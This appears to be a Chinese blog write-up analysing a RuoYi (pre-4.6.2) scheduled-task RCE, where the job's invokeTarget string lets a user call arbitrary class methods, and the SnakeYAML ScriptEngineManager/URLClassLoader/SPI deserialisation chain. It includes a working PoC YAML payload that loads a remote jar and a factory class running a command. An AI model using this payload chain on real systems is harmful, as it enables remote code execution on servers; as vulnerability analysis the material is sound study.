前两天在做一个站的测试的时候碰到一个若依的站,在看历史漏洞的时候发现一个4.6.2版本以下,在定时任务处有个RCE。由于之前没了解过这种定时任务的漏洞所以下载代码简单分析一下。
环境搭建
当前下载的若依版本为4.6.1.
IDEA打开项目配置一下数据库就可以运行了,没什么特别的。
漏洞分析
环境搭建好之后直接开搞,创建一个定时任务:
BP中看一下接口路径然后在IDEA中搜索一下,最终定位到如下函数:
/**
* 任务调度立即执行一次
*/
@Log(title = "定时任务", businessType = BusinessType.UPDATE)
@RequiresPermissions("monitor:job:changeStatus")
@PostMapping("/run")
@ResponseBody
public AjaxResult run(SysJob job) throws SchedulerException
{
jobService.run(job);
return success();
}
可以看到通过参数绑定生成了一个SysJob对象,然后当作参数传进了jobService.run方法:
/**
* 立即运行任务
*
* @param job 调度信息
*/
@Override
@Transactional
public void run(SysJob job) throws SchedulerException
{
Long jobId = job.getJobId();
SysJob tmpObj = selectJobById(job.getJobId());
// 参数
JobDataMap dataMap = new JobDataMap();
dataMap.put(ScheduleConstants.TASK_PROPERTIES, tmpObj);
scheduler.triggerJob(ScheduleUtils.getJobKey(jobId, tmpObj.getJobGroup()), dataMap);
}
通过调试,发现该方法只是将job参数进行了一些封装。然后就提交到了线程池异步执行。
通过在我们的payload代码下段后回溯找到了如下解析代码:
/**
* 执行方法
*
* @param sysJob 系统任务
*/
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName))
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}
可以看到,该方法通过sysJob.getInvokeTarget();获取调用目标字符串,也就是我们输入的payload。
然后通过getBeanName(invokeTarget)获取要调用的类全限定名。
/**
* 获取bean名称
*
* @param invokeTarget 目标字符串
* @return bean名称
*/
public static String getBeanName(String invokeTarget)
{
String beanName = StringUtils.substringBefore(invokeTarget, "(");
return StringUtils.substringBeforeLast(beanName, ".");
}
通过getMethodName(invokeTarget);获取要调用的方法名。
/**
* 获取bean方法
*
* @param invokeTarget 目标字符串
* @return method方法
*/
public static String getMethodName(String invokeTarget)
{
String methodName = StringUtils.substringBefore(invokeTarget, "(");
return StringUtils.substringAfterLast(methodName, ".");
}
通过getMethodParams(invokeTarget);获取参数。
/**
* 获取method方法参数相关列表
*
* @param invokeTarget 目标字符串
* @return method方法相关参数列表
*/
public static List<Object[]> getMethodParams(String invokeTarget)
{
String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")");
if (StringUtils.isEmpty(methodStr))
{
return null;
}
String[] methodParams = methodStr.split(",");
List<Object[]> classs = new LinkedList<>();
for (int i = 0; i < methodParams.length; i++)
{
String str = StringUtils.trimToEmpty(methodParams[i]);
// String字符串类型,包含'
if (StringUtils.contains(str, "'"))
{
classs.add(new Object[] { StringUtils.replace(str, "'", ""), String.class });
}
// boolean布尔类型,等于true或者false
else if (StringUtils.equals(str, "true") || StringUtils.equalsIgnoreCase(str, "false"))
{
classs.add(new Object[] { Boolean.valueOf(str), Boolean.class });
}
// long长整形,包含L
else if (StringUtils.containsIgnoreCase(str, "L"))
{
classs.add(new Object[] { Long.valueOf(StringUtils.replaceIgnoreCase(str, "L", "")), Long.class });
}
// double浮点类型,包含D
else if (StringUtils.containsIgnoreCase(str, "D"))
{
classs.add(new Object[] { Double.valueOf(StringUtils.replaceIgnoreCase(str, "D", "")), Double.class });
}
// 其他类型归类为整形
else
{
classs.add(new Object[] { Integer.valueOf(str), Integer.class });
}
}
return classs;
}
接下来就通过反射来调用目标代码:
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
到这里可以了解该漏洞就是可以调用任意类的任意方法,但是要注意调用目标类必须有一个无参构造函数,所以直接调用Runtime是不可行的。
比较简单的利用方式可以通过jndi来执行任意代码,但是要注意jndi版本限制。
但是昨天测试的时候目标站点屏蔽了jndi相关字符,所以说用的snakeyaml反序列化这条链。
snakeyaml
snakeyaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
常用方法
String dump(Object data)
将Java对象序列化为YAML字符串。
void dump(Object data, Writer output)
将Java对象序列化为YAML流。
String dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T load(InputStream io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(Reader io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(String yaml)
解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(InputStream yaml)
解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(Reader yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(String yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
Yaml.dump():将一个对象转化为yaml文件形式;
SnakeYaml反序列化漏洞
yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManagerpayload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。
网上最多的一个PoC就是基于javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。Github上已经有现成的利用项目,可以更改好项目代码部署在web上即可。所以说SnakeYaml通常的一个利用条件是需要出网。
影响版本
全版本
漏洞复现
首先从Github将项目下载下来,将AwesomeScriptEngineFactory方法中的代码改成想要执行的命令,当前是打开计算器:
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
其他地方不用动,然后按照Github中项目描述的方法打包,然后监听一下。
然后打开一个项目输入如下代码:
import java.net.URL;
import java.net.URLClassLoader;
import org.yaml.snakeyaml.Yaml;
public class main {
public static void main(String[] args) throws Exception{
Yaml yaml = new Yaml();
yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:8000/yaml-payload.jar']]]]");
}
}
将以上代码的IP和文件名改为自己的,运行一下会发现打开了计算器。
漏洞分析
首先看一下调用入口,load方法:
public <T> T load(String yaml) {
return this.loadFromReader(new StreamReader(yaml), Object.class);
}
可以看到将我们的输入封装成一个StreamReader对象后调用了loadFromReader方法:
private Object loadFromReader(StreamReader sreader, Class<?> type) {
Composer composer = new Composer(new ParserImpl(sreader), this.resolver);
this.constructor.setComposer(composer);
return this.constructor.getSingleData(type);
}
首先创建了一个Composer对象,然后保存到当前类的成员变量中,继续调用了this.constructor.getSingleData(type):
public Object getSingleData(Class<?> type) {
Node node = this.composer.getSingleNode();
if (node != null && !Tag.NULL.equals(node.getTag())) {
if (Object.class != type) {
node.setTag(new Tag(type));
} else if (this.rootTag != null) {
node.setTag(this.rootTag);
}
return this.constructDocument(node);
} else {
Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL);
return construct.construct(node);
}
}
在该函数中,通过this.composer.getSingleNode方法对我们输入的payload进行了一些处理,会将"!!"替换为tagxx一类的标识。
我们输入的payload为:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]
]]
]
处理完payload如下形式:
<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:9000/yaml-payload.jar)>])>])>])>])>
接下来调用了 this.constructDocument(node),继续跟进:
protected final Object constructDocument(Node node) {
try {
Object data = this.constructObject(node);
this.fillRecursive();
this.constructedObjects.clear();
this.recursiveObjects.clear();
return data;
} catch (RuntimeException var3) {
if (this.wrappedToRootException && !(var3 instanceof YAMLException)) {
throw new YAMLException(var3);
} else {
throw var3;
}
}
}
一路追下去,最终来到关键函数org.yaml.snakeyaml.constructor.Constructor.construct:
protected class ConstructSequence implements Construct {
@SuppressWarnings("unchecked")
public Object construct(Node node) {
SequenceNode snode = (SequenceNode) node;
if (Set.class.isAssignableFrom(node.getType())) {
if (node.isTwoStepsConstruction()) {
throw new YAMLException("Set cannot be recursive.");
} else {
return constructSet(snode);
}
} else if (Collection.class.isAssignableFrom(node.getType())) {
if (node.isTwoStepsConstruction()) {
return newList(snode);
} else {
return constructSequence(snode);
}
} else if (node.getType().isArray()) {
if (node.isTwoStepsConstruction()) {
return createArray(node.getType(), snode.getValue().size());
} else {
return constructArray(snode);
}
} else {
// create immutable object
List<java.lang.reflect.Constructor<?>> possibleConstructors = new ArrayList<java.lang.reflect.Constructor<?>>(
snode.getValue().size());
for (java.lang.reflect.Constructor<?> constructor : node.getType()
.getDeclaredConstructors()) {
if (snode.getValue().size() == constructor.getParameterTypes().length) {
possibleConstructors.add(constructor);
}
}
if (!possibleConstructors.isEmpty()) {
if (possibleConstructors.size() == 1) {
Object[] argumentList = new Object[snode.getValue().size()];
java.lang.reflect.Constructor<?> c = possibleConstructors.get(0);
int index = 0;
for (Node argumentNode : snode.getValue()) {
Class<?> type = c.getParameterTypes()[index];
// set runtime classes for arguments
argumentNode.setType(type);
argumentList[index++] = constructObject(argumentNode);
}
try {
c.setAccessible(true);
return c.newInstance(argumentList);
} catch (Exception e) {
throw new YAMLException(e);
}
}
// use BaseConstructor
List<Object> argumentList = (List<Object>) constructSequence(snode);
Class<?>[] parameterTypes = new Class[argumentList.size()];
int index = 0;
for (Object parameter : argumentList) {
parameterTypes[index] = parameter.getClass();
index++;
}
for (java.lang.reflect.Constructor<?> c : possibleConstructors) {
Class<?>[] argTypes = c.getParameterTypes();
boolean foundConstructor = true;
for (int i = 0; i < argTypes.length; i++) {
if (!wrapIfPrimitive(argTypes[i]).isAssignableFrom(parameterTypes[i])) {
foundConstructor = false;
break;
}
}
if (foundConstructor) {
try {
c.setAccessible(true);
return c.newInstance(argumentList.toArray());
} catch (Exception e) {
throw new YAMLException(e);
}
}
}
}
throw new YAMLException(
"No suitable constructor with " + String.valueOf(snode.getValue().size())
+ " arguments found for " + node.getType());
}
}
这段代码有点长,接下来分几段重要的分析:
List<java.lang.reflect.Constructor<?>> possibleConstructors = new ArrayList<java.lang.reflect.Constructor<?>>(
snode.getValue().size());
for (java.lang.reflect.Constructor<?> constructor : node.getType()
.getDeclaredConstructors()) {
if (snode.getValue().size() == constructor.getParameterTypes().length) {
possibleConstructors.add(constructor);
}
}
首先创建一个Constructor数组,用于保存构造函数。然后通过getDeclaredConstructors遍历所有构造函数,接下来获取这些构造函数的参数个数,然后与我们输入的payload中的参数个数对比,如果一致则将该构造函数保存到possibleConstructors中。
if (!possibleConstructors.isEmpty()) {
if (possibleConstructors.size() == 1) {
Object[] argumentList = new Object[snode.getValue().size()];
java.lang.reflect.Constructor<?> c = possibleConstructors.get(0);
int index = 0;
for (Node argumentNode : snode.getValue()) {
Class<?> type = c.getParameterTypes()[index];
// set runtime classes for arguments
argumentNode.setType(type);
argumentList[index++] = constructObject(argumentNode);
}
try {
c.setAccessible(true);
return c.newInstance(argumentList);
} catch (Exception e) {
throw new YAMLException(e);
}
}
循环获取构造函数之后,判断保存构造函数的数组是否为空,如果不为空是否为1。
如果判断通过,则创建一个Object数组用做保存参数。然后通过snode.getValue获取参数的Node后递归调用constructObject函数来生成参数。生成的参数对象保存到Object数组中。
参数构造成功后先是调用setAccessible设置构造函数的访问权限,然后调用newInstance构造对象。
SPI机制
前面分析完了SnakeYaml反序列化ScriptEngineManager的过程,但是为什么会可以RCE呢?答案就是SPI机制,其实ScriptEngineManager利用的的底层也是SPI机制。
SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。
那么如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。
ScriptEngineManager
了解了什么是SPI后我们在回头来看ScriptEngineManager初始化过程。
在调用构造函数后,会进入init函数:
private void init(final ClassLoader loader) {
globalScope = new SimpleBindings();
engineSpis = new HashSet<ScriptEngineFactory>();
nameAssociations = new HashMap<String, ScriptEngineFactory>();
extensionAssociations = new HashMap<String, ScriptEngineFactory>();
mimeTypeAssociations = new HashMap<String, ScriptEngineFactory>();
initEngines(loader);
}
重点在于initEngines函数,一直向下跟进:
private boolean hasNextService() {
if (nextName != null) {
return true;
}
if (configs == null) {
try {
String fullName = PREFIX + service.getName();
if (loader == null)
configs = ClassLoader.getSystemResources(fullName);
else
configs = loader.getResources(fullName);
} catch (IOException x) {
fail(service, "Error locating configuration files", x);
}
}
while ((pending == null) || !pending.hasNext()) {
if (!configs.hasMoreElements()) {
return false;
}
pending = parse(service, configs.nextElement());
}
nextName = pending.next();
return true;
}
最终会通过hasNextService函数获取服务类,保存在类成员变量nextName中。
private S nextService() {
if (!hasNextService())
throw new NoSuchElementException();
String cn = nextName;
nextName = null;
Class<?> c = null;
try {
c = Class.forName(cn, false, loader);
} catch (ClassNotFoundException x) {
fail(service,
"Provider " + cn + " not found");
}
if (!service.isAssignableFrom(c)) {
fail(service,
"Provider " + cn + " not a subtype");
}
try {
S p = service.cast(c.newInstance());
providers.put(cn, p);
return p;
} catch (Throwable x) {
fail(service,
"Provider " + cn + " could not be instantiated",
x);
}
throw new Error(); // This cannot happen
}
接下来在nextService通过反射实例化上面找到的服务类,至此该漏洞全流程分析结束。
参考
https://www.cnblogs.com/nice0e3/p/14514882.html